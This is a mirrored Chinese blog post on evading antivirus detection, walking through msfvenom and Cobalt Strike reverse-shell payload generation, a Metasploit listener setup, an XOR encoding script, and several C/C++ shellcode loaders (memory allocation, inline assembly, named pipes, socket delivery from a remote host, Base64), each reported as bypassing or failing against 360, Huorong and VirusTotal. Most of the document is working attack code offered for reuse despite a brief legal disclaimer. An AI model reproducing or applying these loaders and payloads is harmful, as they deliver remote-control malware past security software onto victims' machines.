5

恶意程序研究之免杀基础

 3 years ago
source link: https://www.ascotbe.com/2020/03/07/Basics/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
恶意程序研究之免杀基础 | ascotbe

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

踩着大佬们的脚步,用自己蹩脚的C++功底复现了师傅给出的一些免杀方案。后续将给出自己的两个免杀方案,复现大佬们的这几个方案用了3天时间,我真的是菜的可怜。

1

生成ShellCode的方法

  • 使用msfvenom生成的ShellCode

    • 使用参数说明

      shell
      -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
      -p, --payload <payload> 要使用的有效载荷
      -f, --format <format> 输出格式,输出的语言类型
      -e, --encoder <encoder> 要使用的编码器
      -a, --arch <arch> 用于--payload和--encoders的体系结构
      -o, --out <path> 保存到那个文件
      -b, --bad-chars <list> 避免使用那些字符
      -n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled
      -s, --space <length> 产生有效负荷的最大长度
      -i, --iterations <count> 对负荷进行编码的次数
      -c, --add-code <path> 指定一个详细win32 shellcode文件给include
      -x, --template <path> 指定一个自定义可执行的文件作为一个模板(template)
      -k, --keep 保留--template生成的模板行为并且把负荷作为一个新的线程注入
      -v, --var-name <value> 指定一个自定义变量名作为确切的输出格式
      -t, --timeout <second> 从STDIN读取有效负载时要等待的秒数(默认为30,禁用为0)
    • 生成ShellCode命令

      msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.183.138 lport=4444   -f c
    • -f能够生产如下格式的代码

      bash
      c
      csharp
      dw
      dword
      hex
      java
      js_be
      js_le
      num
      perl
      pl
      powershell
      ps1
      py
      python
      raw
      rb
      ruby
      sh
      vbapplication
      vbscript
    • msf中监听

      use multi/handler
      set payload windows/meterpreter/reverse_tcp
      set LHOST 192.168.183.138
      set LPORT 4444
      set EnableStageEncoding true
  • 使用Cobaltstrike生成的ShellCode

    • 客户端运行

      javaw -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
    • 服务端运行

      ./teamserver you_ip you_passwd
  • 使用C++编译器生成ShellCode

    • 后面会出个shellcode生成器的文章

使用C++进行编译免杀

申请动态内存加载
  • 申请内存的方式有很多种常见的几种方式如下

    HeapAlloc
    malloc
    VirtualAlloc
    new
    LocalAlloc
  • PlanA

    #include <Windows.h>
    #include <stdio.h>
    #include <string.h>

    #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口

    unsigned char buf[] = "shellcode";
    void main()

    {
    LPVOID Memory;

    Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Memory, buf, sizeof(buf));

    ((void(*)())Memory)();

    }

    VT免杀效果

    火绒报毒,360没反应

  • PlanB

    #include <windows.h>
    #include <stdio.h>
    typedef void (_stdcall *CODE)();
    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
    unsigned char shellcode[] ="shellcode";

    void main()
    {
    PVOID p = NULL;
    p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (p == NULL)
    {
    return;
    }
    memcpy(p, shellcode, sizeof(shellcode));

    CODE code = (CODE)p;
    code();
    }

    TV上的免杀效果

    360和火绒都能查杀到

  • AB计划都是直接将代码执行,PlanC我们尝试先对shellcode进行异或加密然后在代码中解密

    • 倾旋大佬的代码
      python
          import sys
      from argparse import ArgumentParser, FileType

      def process_bin(num, src_fp, dst_fp, dst_raw):
      shellcode = ''
      shellcode_size = 0
      shellcode_raw = b''
      try:
      while True:
      code = src_fp.read(1)
      if not code:
      break

      base10 = ord(code) ^ num
      base10_str = chr(base10)
      shellcode_raw += base10_str.encode()
      code_hex = hex(base10)
      code_hex = code_hex.replace('0x','')
      if(len(code_hex) == 1):
      code_hex = '0' + code_hex
      shellcode += '\\x' + code_hex
      shellcode_size += 1
      src_fp.close()
      dst_raw.write(shellcode_raw)
      dst_raw.close()
      dst_fp.write(shellcode)
      dst_fp.close()
      return shellcode_size
      except Exception as e:
      sys.stderr.writelines(str(e))
      def main():
      parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: [email protected]')
      parser.add_argument('-v','--version',nargs='?')
      parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
      parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
      parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
      parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
      args = parser.parse_args()
      shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
      sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))

      if __name__ == "__main__":
      main()

    • 先用msf生成bin文件,然后再用运行
      python .\xor.py -s .\payload.bin -d payload.c -n 10 -r 123.txt

      生成好的payload.c文件

    • 这边用倾旋大佬的思路:在申请内存页时,一定要把控好属性,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。
        #微软的文档
      https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
    • 具体代码
        #include <Windows.h>

      // 入口函数
      int wmain(int argc,TCHAR * argv[]){

      int shellcode_size = 0; // shellcode长度
      DWORD dwThreadId; // 线程ID
      HANDLE hThread; // 线程句柄
      DWORD dwOldProtect; // 内存页属性
      /* length: 800 bytes */

      unsigned char buf[] = "shellcode";


      // 获取shellcode大小
      shellcode_size = sizeof(buf);

      /* 增加异或代码 */
      for(int i = 0;i<shellcode_size; i++){
      buf[i] ^= 10;
      }
      /*
      VirtualAlloc(
      NULL, // 基址
      800, // 大小
      MEM_COMMIT, // 内存页状态
      PAGE_EXECUTE_READWRITE // 可读可写可执行
      );
      */

      char * shellcode = (char *)VirtualAlloc(
      NULL,
      shellcode_size,
      MEM_COMMIT,
      PAGE_READWRITE // 只申请可读可写
      //原来的属性是PAGE_EXECUTE_READWRITE
      );

      // 将shellcode复制到可读可写的内存页中
      CopyMemory(shellcode,buf,shellcode_size);

      // 这里开始更改它的属性为可执行
      VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect);

      // 等待几秒,兴许可以跳过某些沙盒呢?
      Sleep(2000);

      hThread = CreateThread(
      NULL, // 安全描述符
      NULL, // 栈的大小
      (LPTHREAD_START_ROUTINE)shellcode, // 函数
      NULL, // 参数
      NULL, // 线程标志
      &dwThreadId // 线程ID
      );

      WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
      return 0;
      }

      TV免杀效果 360和火绒免杀效果,两个杀软都检测不出来

嵌入式汇编执行
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="shellcode";

void main()
{

__asm
{

mov eax, offset shellcode
jmp eax

}
}

  • 依旧360没报毒,火绒报毒

  • TV报毒依旧不理想

强制类型转换成函数指针

这种方法编译容易导致程序不能运行,需要用vs6.0进行编译,免杀效果也是目前最差的,编译测试的时候会导致程序崩溃

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] ="shellcode";

void main()
{
((void(WINAPI*)(void))&shellcode)();
}
汇编花指令

这边的花指令可以直接加上一些像nop之类的没用的代码暂停什么的,还是可以提升绕过沙盒的几率

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";

void main()
{
__asm
{

mov eax, offset shellcode
_emit 0xFF
_emit 0xE0

}
}

TV免杀效果和直接汇报效果差不多

杀软效果依旧是360不报毒,火绒报毒了

利用管道来执行

这两种方法的shellcode需要使用xor脚本进行异或后再能使用不然会报错,如果不想生成可以删除这段代码即可

for(DWORD i = 0;i< dwLen; i++){
Sleep(50);
_InterlockedXor8(pszShellcode+i,10);
}
  • 单进程方式

    #include <Windows.h>
    #include <stdio.h>
    #include <intrin.h>

    #define BUFF_SIZE 1024
    char buf[] = "shellcode";
    PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");

    BOOL RecvShellcode(VOID){
    HANDLE hPipeClient;
    DWORD dwWritten;
    DWORD dwShellcodeSize = sizeof(buf);
    // 等待管道可用
    WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
    // 连接管道
    hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);

    if(hPipeClient == INVALID_HANDLE_VALUE){
    printf("[+]Can't Open Pipe , Error : %d \n",GetLastError());
    return FALSE;
    }

    WriteFile(hPipeClient,buf,dwShellcodeSize,&dwWritten,NULL);
    if(dwWritten == dwShellcodeSize){
    CloseHandle(hPipeClient);
    printf("[+]Send Success ! Shellcode : %d Bytes\n",dwShellcodeSize);
    return TRUE;
    }
    CloseHandle(hPipeClient);
    return FALSE;
    }


    int wmain(int argc, TCHAR * argv[]){

    HANDLE hPipe;
    DWORD dwError;
    CHAR szBuffer[BUFF_SIZE];
    DWORD dwLen;
    PCHAR pszShellcode = NULL;
    DWORD dwOldProtect; // 内存页属性
    HANDLE hThread;
    DWORD dwThreadId;
    // 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
    hPipe = CreateNamedPipe(
    ptsPipeName,
    PIPE_ACCESS_INBOUND,
    PIPE_TYPE_BYTE| PIPE_WAIT,
    PIPE_UNLIMITED_INSTANCES,
    BUFF_SIZE,
    BUFF_SIZE,
    0,
    NULL);

    if(hPipe == INVALID_HANDLE_VALUE){
    dwError = GetLastError();
    printf("[-]Create Pipe Error : %d \n",dwError);
    return dwError;
    }

    CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)RecvShellcode,NULL,NULL,NULL);

    if(ConnectNamedPipe(hPipe,NULL) > 0){
    printf("[+]Client Connected...\n");
    ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL);
    printf("[+]Get DATA Length : %d \n",dwLen);
    // 申请内存页
    pszShellcode = (PCHAR)VirtualAlloc(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE);
    // 拷贝内存
    CopyMemory(pszShellcode,szBuffer,dwLen);

    for(DWORD i = 0;i< dwLen; i++){
    Sleep(50);
    _InterlockedXor8(pszShellcode+i,10);
    }

    // 这里开始更改它的属性为可执行
    VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);
    // 执行Shellcode
    hThread = CreateThread(
    NULL, // 安全描述符
    NULL, // 栈的大小
    (LPTHREAD_START_ROUTINE)pszShellcode, // 函数
    NULL, // 参数
    NULL, // 线程标志
    &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread,INFINITE);
    }

    return 0;
    }
    • 360和火绒都没报毒

  • 多进程方式

    • PipServer进程

      #include <Windows.h>
      #include <stdio.h>
      #include <intrin.h>

      #define BUFF_SIZE 1024

      PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");

      int wmain(int argc, TCHAR * argv[]){

      HANDLE hPipe;
      DWORD dwError;
      CHAR szBuffer[BUFF_SIZE];
      DWORD dwLen;
      PCHAR pszShellcode = NULL;
      DWORD dwOldProtect; // 内存页属性
      HANDLE hThread;
      DWORD dwThreadId;
      // 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
      hPipe = CreateNamedPipe(
      ptsPipeName,
      PIPE_ACCESS_INBOUND,
      PIPE_TYPE_BYTE| PIPE_WAIT,
      PIPE_UNLIMITED_INSTANCES,
      BUFF_SIZE,
      BUFF_SIZE,
      0,
      NULL);

      if(hPipe == INVALID_HANDLE_VALUE){
      dwError = GetLastError();
      printf("[-]Create Pipe Error : %d \n",dwError);
      return dwError;
      }

      if(ConnectNamedPipe(hPipe,NULL) > 0){
      printf("[+]Client Connected...\n");
      ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL);
      printf("[+]Get DATA Length : %d \n",dwLen);
      // 申请内存页
      pszShellcode = (PCHAR)VirtualAlloc(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE);
      // 拷贝内存
      CopyMemory(pszShellcode,szBuffer,dwLen);

      for(DWORD i = 0;i< dwLen; i++){
      Sleep(50);
      _InterlockedXor8(pszShellcode+i,10);
      }

      // 这里开始更改它的属性为可执行
      VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);
      // 执行Shellcode
      hThread = CreateThread(
      NULL, // 安全描述符
      NULL, // 栈的大小
      (LPTHREAD_START_ROUTINE)pszShellcode, // 函数
      NULL, // 参数
      NULL, // 线程标志
      &dwThreadId // 线程ID
      );

      WaitForSingleObject(hThread,INFINITE);
      }

      return 0;
      }
    • PipeClient进程

      #include <Windows.h>
      #include <stdio.h>
      #include <intrin.h>

      #define BUFF_SIZE 1024
      char buf[] = "shellcode";
      PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");


      BOOL RecvShellcode(VOID){
      HANDLE hPipeClient;
      DWORD dwWritten;
      DWORD dwShellcodeSize = sizeof(buf);
      // 等待管道可用
      WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
      // 连接管道
      hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);

      if(hPipeClient == INVALID_HANDLE_VALUE){
      printf("[+]Can't Open Pipe , Error : %d \n",GetLastError());
      return FALSE;
      }

      WriteFile(hPipeClient,buf,dwShellcodeSize,&dwWritten,NULL);
      if(dwWritten == dwShellcodeSize){
      CloseHandle(hPipeClient);
      printf("[+]Send Success ! Shellcode : %d Bytes\n",dwShellcodeSize);
      return TRUE;
      }
      CloseHandle(hPipeClient);
      return FALSE;
      }

      int wmain(int argc, TCHAR * argv[]){

      RecvShellcode();

      return 0;
      }
    • VT免杀效果

    • 360和火绒都免杀

网络套接字式

shellcode需要使用xor脚本进行异或后再能使用不然会报错,如果不想生成可以删除这段代码即可

for(DWORD i = 0;i< dwCodeLen; i++){
_InterlockedXor8(pszShellcode+i,10);
}
  • #include <WinSock2.h>
    #include <Windows.h>
    #include <stdio.h>
    #include <intrin.h>

    #pragma comment(lib,"ws2_32.lib")

    BOOL RunCode(CHAR * code,DWORD dwCodeLen)
    {
    HANDLE hThread;
    DWORD dwOldProtect;
    DWORD dwThreadId;
    PCHAR pszShellcode = (PCHAR)VirtualAlloc(NULL,dwCodeLen,MEM_COMMIT,PAGE_READWRITE);
    CopyMemory(pszShellcode,code,dwCodeLen);

    for(DWORD i = 0;i< dwCodeLen; i++){
    _InterlockedXor8(pszShellcode+i,10);
    }
    // 这里开始更改它的属性为可执行
    VirtualProtect(pszShellcode,dwCodeLen,PAGE_EXECUTE,&dwOldProtect);
    // 执行Shellcode
    hThread = CreateThread(
    NULL, // 安全描述符
    NULL, // 栈的大小
    (LPTHREAD_START_ROUTINE)pszShellcode, // 函数
    NULL, // 参数
    NULL, // 线程标志
    &dwThreadId // 线程ID
    );
    WaitForSingleObject(hThread,INFINITE);
    return TRUE;
    }

    int wmain(int argc, TCHAR argv[]){
    CHAR buf[801];
    DWORD dwError;
    WORD sockVersion = MAKEWORD(2, 2);
    WSADATA wsaData;
    SOCKET socks;
    SOCKET sClient;
    struct sockaddr_in s_client;
    INT nAddrLen = sizeof(s_client);
    SHORT sListenPort = 8888;
    struct sockaddr_in sin;

    if (WSAStartup(sockVersion, &wsaData) != 0)
    {
    dwError = GetLastError();
    printf("[*]WSAStarup Error : %d \n",dwError);
    return dwError;
    }

    socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (socks == INVALID_SOCKET)
    {
    dwError = GetLastError();
    printf("[*]Socket Error : %d \n",dwError);
    return dwError;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons(sListenPort);
    sin.sin_addr.S_un.S_addr = INADDR_ANY;

    if(bind(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
    {
    dwError = GetLastError();
    printf("[*]Bind Error : %d \n",dwError);
    return dwError;
    }

    if (listen(socks, 5) == SOCKET_ERROR)
    {
    dwError = GetLastError();
    printf("[*]Listen Error : %d \n",dwError);
    return dwError;
    }

    sClient = accept(socks, (SOCKADDR *)&s_client, &nAddrLen);
    int ret = recv(sClient,buf,sizeof(buf),0);
    if (ret > 0)
    {
    printf("[+]Recv %d-Bytes \n",ret);
    closesocket(sClient);
    closesocket(socks);
    }

    WSACleanup();
    RunCode(buf,sizeof(buf));
    return 0;
    }
  • #include <WinSock2.h>
    #include <Windows.h>
    #include <stdio.h>
    #include <intrin.h>

    #pragma comment(lib,"ws2_32.lib")
    char buf[] = "shellcode";

    int wmain(int argc, TCHAR argv[]){
    DWORD dwError;
    WORD sockVersion = MAKEWORD(2, 2);
    WSADATA wsaData;
    SOCKET socks;
    SHORT sListenPort = 8888;
    struct sockaddr_in sin;

    if (WSAStartup(sockVersion, &wsaData) != 0)
    {
    dwError = GetLastError();
    printf("[*]WSAStarup Error : %d \n",dwError);
    return dwError;
    }

    socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (socks == INVALID_SOCKET)
    {
    dwError = GetLastError();
    printf("[*]Socket Error : %d \n",dwError);
    return dwError;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons(sListenPort);
    sin.sin_addr.S_un.S_addr = inet_addr("192.168.170.1");

    if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
    {
    dwError = GetLastError();
    printf("[*]Bind Error : %d \n",dwError);
    return dwError;
    }
    int ret = send(socks,buf,sizeof(buf),0);

    if (ret > 0)
    {
    printf("[+]Send %d-Bytes \n",ret);
    closesocket(socks);
    }

    WSACleanup();
    return 0;
    }
  • 360和火绒都无法检测出来

Base64加密法
  • Base64.h

    #ifndef base64_h
    #define base64_h

    #include <stdio.h>

    #if __cplusplus
    extern "C" {
    #endif

    int base64_encode(const char *indata, int inlen, char *outdata, int *outlen);
    int base64_decode(const char *indata, int inlen, char *outdata);

    #if __cplusplus
    }
    #endif

    #endif /* base64_h */
  • Base64.cpp

    /**
    * 转解码过程
    * 3 * 8 = 4 * 6; 3字节占24位, 4*6=24
    * 先将要编码的转成对应的ASCII值
    * 如编码: s 1 3
    * 对应ASCII值为: 115 49 51
    * 对应二进制为: 01110011 00110001 00110011
    * 将其6个分组分4组: 011100 110011 000100 110011
    * 而计算机是以8bit存储, 所以在每组的高位补两个0如下:
    * 00011100 00110011 00000100 00110011对应:28 51 4 51
    * 查找base64 转换表 对应 c z E z
    *
    * 解码
    * c z E z
    * 对应ASCII值为 99 122 69 122
    * 对应表base64_suffix_map的值为 28 51 4 51
    * 对应二进制值为 00011100 00110011 00000100 00110011
    * 依次去除每组的前两位, 再拼接成3字节
    * 即: 01110011 00110001 00110011
    * 对应的就是s 1 3
    */

    #include "base64.h"

    #include <stdio.h>
    #include <stdlib.h>

    // base64 转换表, 共64个
    static const char base64_alphabet[] = {
    'A', 'B', 'C', 'D', 'E', 'F', 'G',
    'H', 'I', 'J', 'K', 'L', 'M', 'N',
    'O', 'P', 'Q', 'R', 'S', 'T',
    'U', 'V', 'W', 'X', 'Y', 'Z',
    'a', 'b', 'c', 'd', 'e', 'f', 'g',
    'h', 'i', 'j', 'k', 'l', 'm', 'n',
    'o', 'p', 'q', 'r', 's', 't',
    'u', 'v', 'w', 'x', 'y', 'z',
    '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
    '+', '/' };

    // 解码时使用
    static const unsigned char base64_suffix_map[256] = {
    255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,
    255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
    52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255,
    255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6,
    7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
    19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
    255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,
    37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,
    49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
    255, 255, 255, 255 };

    static char cmove_bits(unsigned char src, unsigned lnum, unsigned rnum) {
    src <<= lnum; // src = src << lnum;
    src >>= rnum; // src = src >> rnum;
    return src;
    }

    int base64_encode(const char *indata, int inlen, char *outdata, int *outlen) {

    int ret = 0; // return value
    if (indata == NULL || inlen == 0) {
    return ret = -1;
    }

    int in_len = 0; // 源字符串长度, 如果in_len不是3的倍数, 那么需要补成3的倍数
    int pad_num = 0; // 需要补齐的字符个数, 这样只有2, 1, 0(0的话不需要拼接, )
    if (inlen % 3 != 0) {
    pad_num = 3 - inlen % 3;
    }
    in_len = inlen + pad_num; // 拼接后的长度, 实际编码需要的长度(3的倍数)

    int out_len = in_len * 8 / 6; // 编码后的长度

    char *p = outdata; // 定义指针指向传出data的首地址

    //编码, 长度为调整后的长度, 3字节一组
    for (int i = 0; i < in_len; i += 3) {
    int value = *indata >> 2; // 将indata第一个字符向右移动2bit(丢弃2bit)
    char c = base64_alphabet[value]; // 对应base64转换表的字符
    *p = c; // 将对应字符(编码后字符)赋值给outdata第一字节

    //处理最后一组(最后3字节)的数据
    if (i == inlen + pad_num - 3 && pad_num != 0) {
    if (pad_num == 1) {
    *(p + 1) = base64_alphabet[(int)(cmove_bits(*indata, 6, 2) + cmove_bits(*(indata + 1), 0, 4))];
    *(p + 2) = base64_alphabet[(int)cmove_bits(*(indata + 1), 4, 2)];
    *(p + 3) = '=';
    }
    else if (pad_num == 2) { // 编码后的数据要补两个 '='
    *(p + 1) = base64_alphabet[(int)cmove_bits(*indata, 6, 2)];
    *(p + 2) = '=';
    *(p + 3) = '=';
    }
    }
    else { // 处理正常的3字节的数据
    *(p + 1) = base64_alphabet[cmove_bits(*indata, 6, 2) + cmove_bits(*(indata + 1), 0, 4)];
    *(p + 2) = base64_alphabet[cmove_bits(*(indata + 1), 4, 2) + cmove_bits(*(indata + 2), 0, 6)];
    *(p + 3) = base64_alphabet[*(indata + 2) & 0x3f];
    }

    p += 4;
    indata += 3;
    }

    if (outlen != NULL) {
    *outlen = out_len;
    }

    return ret;
    }


    int base64_decode(const char *indata, int inlen, char *outdata) {

    int ret = 0;
    if (indata == NULL || inlen <= 0 || outdata == NULL ) {
    return ret = -1;
    }
    if (inlen % 4 != 0) { // 需要解码的数据不是4字节倍数
    return ret = -2;
    }

    int t = 0, x = 0, y = 0, i = 0;
    unsigned char c = 0;
    int g = 3;

    while (indata[x] != 0) {
    // 需要解码的数据对应的ASCII值对应base64_suffix_map的值
    c = base64_suffix_map[indata[x++]];
    if (c == 255) return -1;// 对应的值不在转码表中
    if (c == 253) continue;// 对应的值是换行或者回车
    if (c == 254) { c = 0; g--; }// 对应的值是'='
    t = (t << 6) | c; // 将其依次放入一个int型中占3字节
    if (++y == 4) {
    outdata[i++] = (unsigned char)((t >> 16) & 0xff);
    if (g > 1) outdata[i++] = (unsigned char)((t >> 8) & 0xff);
    if (g > 2) outdata[i++] = (unsigned char)(t & 0xff);
    y = t = 0;
    }
    }

    return ret;
    }
  • Shell.c

    #include <stdio.h>
    #include <string.h>
    #include <Windows.h>

    #include "Base64.h"

    char buf[] ="shellcode";


    int main(int argc, const char* argv[]) {


    char str3[1000] = { 0 };
    base64_decode(buf, (int)strlen(buf), str3);
    LPVOID Memory;

    Memory = VirtualAlloc(NULL, sizeof(str3), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Memory, str3, sizeof(str3));

    ((void(*)())Memory)();

    return 0;
    }

    msf进行base64加密

    msfvenom -p  windows/meterpreter/reverse_tcp --encrypt base64  lhost=192.168.183.138 lport=4444  -f c > shell.c

    然后把代码放到里面buf里面

    TV查杀

    依旧还是360查杀不了火绒报毒了

使用C++进行编译加载器进行免杀

  • 使用shellcode_launcher

    • 项目地址如下

      https://github.com/clinicallyinane/shellcode_launcher/
    • 生成rawshellcode

      msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=127.0.0.1 lport=3333  -f raw -o shellcode.raw
    • 在目标上运行

      shellcode_launcher.exe -i shellcode.raw
    • 火绒和360都不报毒

    • TV上免杀效果

  • 使用SSI加载

    • https://github.com/DimopoulosElias/SimpleShellcodeInjector
    • 首先生成shelcode

      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.138 LPORT=4444 -f c -o msf.txt
    • 然后执行如下命令

      cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"
    • 接着编译项目,然后在目标机器上执行,都可以绕过360和火绒

    • TV免杀效果目前是最好的了

感谢师傅们无私的贡献

https://payloads.online/archivers/2019-11-10/2
https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html
https://mp.weixin.qq.com/s/LftwV4bpuikDklIjuRw2LQ

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK